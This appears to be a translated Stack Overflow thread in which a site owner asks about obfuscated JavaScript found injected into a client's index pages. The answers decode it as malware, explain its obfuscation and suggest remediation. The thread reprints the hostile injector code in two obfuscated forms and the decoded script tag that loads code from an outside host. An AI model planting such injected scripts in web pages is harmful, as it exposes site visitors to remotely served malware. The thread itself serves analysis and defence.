在index.php / index.html文件中隐藏JavaScript代码

时间:2010-07-08 09:44:22

标签: php javascript html

也许有人可以帮助或解释发生的事情。今天刚刚注意到,在我的一个客户端站点上,所有index.php / index.html都被替换,并添加了一些模糊的javascript代码。代码如下:

<script type="text/javascript">
var nhZE2uSD="Ow8xN18Ow8xN31";
var usW1446O0="Ow8xN3cOw8xN73Ow8xN63Ow8xN72"; 
var usW1446O1="Ow8xN69Ow8xN70Ow8xN74Ow8xN20"; 
var usW1446O2="Ow8xN74Ow8xN79Ow8xN70Ow8xN65"; 
var usW1446O3="Ow8xN3dOw8xN22Ow8xN74Ow8xN65"; 
var usW1446O4="Ow8xN78Ow8xN74Ow8xN2fOw8xN6a"; 
var usW1446O5="Ow8xN61Ow8xN76Ow8xN61Ow8xN73"; 
var usW1446O6="Ow8xN63Ow8xN72Ow8xN69Ow8xN70"; 
var usW1446O7="Ow8xN74Ow8xN22Ow8xN20Ow8xN73"; 
var usW1446O8="Ow8xN72Ow8xN63Ow8xN3dOw8xN22"; 
var usW1446O9="Ow8xN68Ow8xN74Ow8xN74Ow8xN70"; 
var usW1446O10="Ow8xN3aOw8xN2fOw8xN2fOw8xN61"; 
var usW1446O11="Ow8xN6eOw8xN6eOw8xN6fOw8xN75"; 
var usW1446O12="Ow8xN2eOw8xN73Ow8xN65Ow8xN72"; 
var usW1446O13="Ow8xN76Ow8xN65Ow8xN68Ow8xN74"; 
var usW1446O14="Ow8xN74Ow8xN70Ow8xN2eOw8xN63"; 
var usW1446O15="Ow8xN6fOw8xN6dOw8xN2fOw8xN2f"; 
var usW1446O16="Ow8xN6dOw8xN6cOw8xN2eOw8xN70"; 
var usW1446O17="Ow8xN68Ow8xN70Ow8xN22Ow8xN3e"; 
var usW1446O18="Ow8xN20Ow8xN3cOw8xN2fOw8xN73"; 
var usW1446O19="Ow8xN63Ow8xN72Ow8xN69Ow8xN70"; 
var usW1446O20="Ow8xN74Ow8xN3e"; 
var JgUg10US="g4Uuq18Ow8xN31";
var Q8NVsUq5=usW1446O0+usW1446O1+usW1446O2+usW1446O3+usW1446O4+usW1446O5+usW1446O6+usW1446O7+usW  1446O8+usW1446O9+usW1446O10+usW1446O11+usW1446O12+usW1446O13+usW1446O14+usW1446O15+usW1446O16+usW1446O17+usW1446O18+usW1446O19+usW1446O20; 
CvhvkAeR=Q8NVsUq5.replace(/Ow8xN/g,"%");
var KcQGBJKD=unescape;
var nhZE2uSD="cZLH618g4Uuq31";
q9124=this; 
var WrEGuKeo=q9124["WYd1GoGYc2uG1mYGe2YnltY".replace(/[Y12WlG\:]/g, "")];
WrEGuKeo.write(KcQGBJKD(CvhvkAeR));
</script>

有人可以解释一下代码的作用吗?

感谢您的帮助。

7 个答案:

答案 0 :(得分:5)

这是恶意软件。它注入:

<script type="text/javascript" src="http://annou.servehttp.com//ml.php"> </script>

毋庸置疑,我不建议访问该域名。

大多数脚本都是用于混淆的变量赋值。如果您执行除最后一行之外的所有操作(此部分不使用任何未知函数),则可以打印WrEGuKeo(文档)和KcQGBJKD(CvhvkAeR)(上面的字符串)。 KcQGBJKD只是unescape

答案 1 :(得分:5)

根据php标记看起来网站已遭到入侵,我建议您使用HTML PurifierOWASP来确保安全。

必须 禁用php.ini中的eval构造和allow_url_fopen设置。

使用以下命令分析任何安全漏洞的服务器设置:

<强> PHPSecInfo

答案 2 :(得分:3)

它的混淆程度不是很高,所以只需在脑海中逐行完成:

/* ignore this for now, we'll get to it later
var nhZE2uSD="Ow8xN18Ow8xN31";
var usW1446O0="Ow8xN3cOw8xN73Ow8xN63Ow8xN72"; 
...
var usW1446O20="Ow8xN74Ow8xN3e"; 
var JgUg10US="g4Uuq18Ow8xN31";
*/
var Q8NVsUq5=usW1446O0+usW1446O1+us... // this just concatenates the above

/* this takes the above "gibberish" and turns it into URL-encoding, e.g.:
 * 'Hello%20World' = 'Hello World'
 */
CvhvkAeR=Q8NVsUq5.replace(/Ow8xN/g,"%"); // replace 'Ow8xN' with '%'

/* give unescape() an alias */
var KcQGBJKD=unescape;

var nhZE2uSD="cZLH618g4Uuq31"; // this is pointless so far as I can tell

/* assign window to q9124 */
q9124=this;

/* WrEGuKeo = window[$something]
 * to get the value of $something, remove all occurrences of Y,1,2,W,l,G,:
 * from the gibberish to get: 'document'
 * so this line actually reads:
 * var WrEGuKeo = window["document"];
 */
var WrEGuKeo=q9124["WYd1GoGYc2uG1mYGe2YnltY".replace(/[Y12WlG\:]/g, "")];

/*
 * document.write(unescape($ourUrlEncodedStringAbove));
 */
WrEGuKeo.write(KcQGBJKD(CvhvkAeR));

我会将URL编码的字符串解密给你,但马修已经把它解散了。

编辑:我不想深入研究网址编码,因为这是一个非常简单的过程,但占用了大量空间。但如果您需要更多信息,请查看the Wikipedia article

答案 3 :(得分:2)

最好不要运行它,因为看起来有人试图将恶意代码插入您的网站。

立即更改您的FTP密码,如果您使用的是常用脚本,如phpBB,Wordpress等,请确保您拥有脚本的最新更新。

答案 4 :(得分:1)

不好看。该网站很可能已被盗用(跨站点脚本?)

答案 5 :(得分:0)

可能是恶意代码,请确保没有未经授权的访问您的FTP等,最好去更改所有用户名/密码,病毒扫描您的计算机,并恢复该网站的旧备份。

它不应该仅仅改变它自己,有人做了它。这是注入美化的代码:

eval(function (p, a, c, k, e, d) {
e = function (c) {
    return (c35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if (!''.replace(/^/, String)) {
    while (c--) {
        d[e(c)] = k[c] || e(c)
    }
    k = [function (e) {
        return d[e]
    }];
    e = function () {
        return '\\w+'
    };
    c = 1
};
while (c--) {
    if (k[c]) {
        p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
    }
}
return p
}('0 A="X";0 j="W";0 i="V";0 h="U";0 e="Y";0 f="T";0 k="13";0 r="12";0 p="11";0 o="10";0 n="14";0 d="P";0 q="J";0 c="K";0 4="I";0 3="L";0 2="S";0 1="M";0 5="R";0 6="Q";0 b="N";0 a="O";0 9="Z";0 7="1q";0 8="1k";0 m="1j";0 x="1i";0 H="1h";0 F="1l";0 D="1m";0 C="1p";0 E="15";0 G="1o";0 B="1n";0 z="1g";0 u="1f";0 19="18";0 t=j+i+h+e+f+k+r+p+o+n+d+q+c+4+3+2+1+5+6+b+a+9+7+8+m+x+H+F+D+C+E+G+B+z+u;l=t.v(/1c/g,"%");0 y=1d;0 A="1e";s=1b;0 w=s["1a".v(/[16\\:]/g,"")];w.17(y(l));', 62, 89, 'var|Qn4KGrEEJXY216|Qn4KGrEEJXY215|Qn4KGrEEJXY214|Qn4KGrEEJXY213|Qn4KGrEEJXY217|Qn4KGrEEJXY218|Qn4KGrEEJXY222|Qn4KGrEEJXY223|Qn4KGrEEJXY221|Qn4KGrEEJXY220|Qn4KGrEEJXY219|Qn4KGrEEJXY212|Qn4KGrEEJXY210|Qn4KGrEEJXY23|Qn4KGrEEJXY24||Qn4KGrEEJXY22|Qn4KGrEEJXY21|Qn4KGrEEJXY20|Qn4KGrEEJXY25|Sdo7QoQybTJs|Qn4KGrEEJXY224|Qn4KGrEEJXY29|Qn4KGrEEJXY28|Qn4KGrEEJXY27|Qn4KGrEEJXY211|Qn4KGrEEJXY26|q9124|ThAyIvzqbEQQ|Qn4KGrEEJXY234|replace|WNWOcwoyad61|Qn4KGrEEJXY225|pX8f6fgPNrOg|Qn4KGrEEJXY233|HYipCnqdJpgI|Qn4KGrEEJXY232|Qn4KGrEEJXY229|Qn4KGrEEJXY228|Qn4KGrEEJXY230|Qn4KGrEEJXY227|Qn4KGrEEJXY231|Qn4KGrEEJXY226|dOUp4s2fOUp4s74OUp4s72|s74OUp4s74OUp4s70OUp4s|2eOUp4s63OUp4s6fOUp4s6|OUp4s66OUp4s2fOUp4s67O|p4s68OUp4s70OUp4s3fOUp|20OUp4s77OUp4s69OUp4s6|4OUp4s74OUp4s68OUp4s3d|4s76OUp4s65OUp4s68OUp4|s3dOUp4s31OUp4s22OUp4s|4s73OUp4s69OUp4s64OUp4|Up4s6fOUp4s2eOUp4s70OU|s22OUp4s68OUp4s74OUp4s|p4s65OUp4s20OUp4s73OUp|Up4s72OUp4s61OUp4s6dOU|OUp4s3cOUp4s69OUp4s66O|OUp4s17OUp4s34|4s72OUp4s63OUp4s3dOUp4|OUp4s22OUp4s31OUp4s30O|Up4s65OUp4s6dOUp4s2eOU|OUp4s79OUp4s73OUp4s74O|fOUp4s2fOUp4s65OUp4s73|74OUp4s70OUp4s3aOUp4s2|p4s73OUp4s65OUp4s72OUp|p4s3dOUp4s22OUp4s30OUp|Y12WlG|write|VzJjJ17OUp4s34|BbdzeevMKHSt|WYd1GoGYc2uG1mYGe2YnltY|this|OUp4s|unescape|CuPm017VzJjJ34|5OUp4s3e|72OUp4s61OUp4s6dOUp4s6|22OUp4s20OUp4s66OUp4s7|s22OUp4s31OUp4s30OUp4s|4s68OUp4s74OUp4s3dOUp4|p4s65OUp4s69OUp4s67OUp|2OUp4s61OUp4s6dOUp4s65|OUp4s62OUp4s6fOUp4s72O|s2fOUp4s69OUp4s66OUp4s|4s22OUp4s3eOUp4s3cOUp4|Up4s64OUp4s65OUp4s72OU|Up4s22OUp4s20OUp4s68OU'.split('|'), 0, {}))

答案 6 :(得分:0)

以下是经过反混淆的JavaScript代码:

<script type="text/javascript" src="http://annou.servehttp.com//ml.php"> </script>